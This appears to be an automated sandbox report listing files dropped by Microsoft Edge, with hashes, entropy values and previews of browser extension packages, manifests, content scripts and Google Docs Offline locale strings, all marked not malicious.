SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\f12b5a44-4bea-464a-8fdb-27c10a27d5a6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_1349510031\0c298024-93a6-43fb-9780-e91a05f5ce8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5736_1349510031\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5736_1349510031\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5736_1349510031\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5736_1349510031\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\69b2984a-ce01-40ab-b88e-12fd2951bfa6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
